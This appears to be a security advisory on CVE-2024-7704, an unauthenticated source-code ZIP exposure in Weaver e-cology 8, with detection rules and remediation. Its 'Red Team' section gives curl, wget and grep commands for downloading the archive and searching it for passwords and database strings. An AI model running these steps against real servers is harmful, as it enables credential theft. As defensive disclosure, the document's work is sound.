CVE-2024-7704

Executive Summary

CVE-2024-7704 is a problematic information disclosure vulnerability affecting Weaver e-cology version 8. The flaw resides in the /cloudstore/ecode/setup/ecology_dev.zip endpoint, which exposes source code and internal application structure to unauthenticated remote attackers. The vendor (Weaver) was contacted but did not respond, leaving the vulnerability unpatched. With a public exploit available, the risk of active scanning and exploitation is elevated, particularly for internet-facing instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a proprietary Java-based enterprise application (Weaver e-cology). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

The NVD CVSS score is 0.0 (unassigned). Based on the nature of the vulnerability (unauthenticated remote information disclosure), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 7.5 (High)

Threat Level: High – due to ease of exploitation, public exploit availability, and lack of patch.

Deep Dive & Mechanics

The vulnerability is triggered by accessing the following URL on a Weaver e-cology 8 instance:

http://<target>/cloudstore/ecode/setup/ecology_dev.zip

This endpoint serves a ZIP archive containing the application's source code, configuration files, and potentially hardcoded credentials or API keys. The file is accessible without authentication, allowing any remote attacker to download it.

Root Cause: The web server does not restrict access to the /cloudstore/ecode/setup/ directory, and the ZIP file is left in place after development or deployment.

Impact: An attacker can:

• Reverse-engineer the application logic.
• Identify hardcoded secrets (database passwords, encryption keys).
• Discover additional vulnerabilities (e.g., SQL injection points, authentication bypasses).
• Map internal network architecture from configuration files.

Vulnerable vs. Patched Code

Vulnerable: Weaver e-cology 8 with the file /cloudstore/ecode/setup/ecology_dev.zip present and accessible.

Patched: No official patch exists. The vendor has not responded. A workaround is to remove or restrict access to the ZIP file manually.

Code Comparison: Not applicable – the vulnerability is a configuration/access control issue, not a code flaw.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Weaver e-cology 8.
• Network access to the target (HTTP/HTTPS).

Exploitation Steps:

1. Reconnaissance: Scan for the endpoint using a simple HTTP request.

   curl -s -o /dev/null -w "%{http_code}" http://target/cloudstore/ecode/setup/ecology_dev.zip
   

   If response is 200, the file is accessible.

2. Download the ZIP:

   wget http://target/cloudstore/ecode/setup/ecology_dev.zip
   

3. Extract and Analyze:

   unzip ecology_dev.zip -d ecology_source
   grep -r "password" ecology_source/
   grep -r "jdbc" ecology_source/
   

Expected Outcome: Source code, configuration files, and potential secrets are obtained.

Blue Team

Detection:

• Monitor HTTP access logs for requests to /cloudstore/ecode/setup/ecology_dev.zip.
• Alert on any successful download (HTTP 200) of this file.

Hunting:

• Search for the file on disk:

  find / -name "ecology_dev.zip" 2>/dev/null
  

• Check web server configuration for exposed directories.

Mitigation:

• Remove the ZIP file immediately:

  rm /path/to/webroot/cloudstore/ecode/setup/ecology_dev.zip
  

• Restrict access to the /cloudstore/ecode/setup/ directory via web server rules (e.g., .htaccess or Nginx deny all).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_7704_Weaver_Ecology_InfoDisclosure {
    meta:
        description = "Detects Weaver e-cology source code ZIP file"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7704"
    strings:
        $zip_header = { 50 4B 03 04 }  // ZIP local file header
        $ecology_path = "ecology" nocase
        $dev_suffix = "dev" nocase
    condition:
        $zip_header at 0 and $ecology_path and $dev_suffix
}

Sigma Rule

title: CVE-2024-7704 - Weaver e-cology Source Code Disclosure
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d2b7f3e1a0c
status: experimental
description: Detects HTTP requests to the vulnerable endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cloudstore/ecode/setup/ecology_dev.zip'
    condition: selection
falsepositives:
    - Legitimate development access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7704 - Weaver e-cology Source Code Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/cloudstore/ecode/setup/ecology_dev.zip"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the file /cloudstore/ecode/setup/ecology_dev.zip from the web root.
2. Restrict access to the /cloudstore/ecode/setup/ directory using web server ACLs.
3. Review web server logs for any prior unauthorized access.

Long-Term Fix:

• Contact Weaver for an official patch (though currently unresponsive).
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable path.
• Conduct a full security audit of the e-cology deployment.

Compromise Assessment:

• If the file was accessed, assume all source code and configuration data are compromised.
• Rotate any credentials found in the source code (database passwords, API keys).
• Monitor for lateral movement or further exploitation.

Valters IT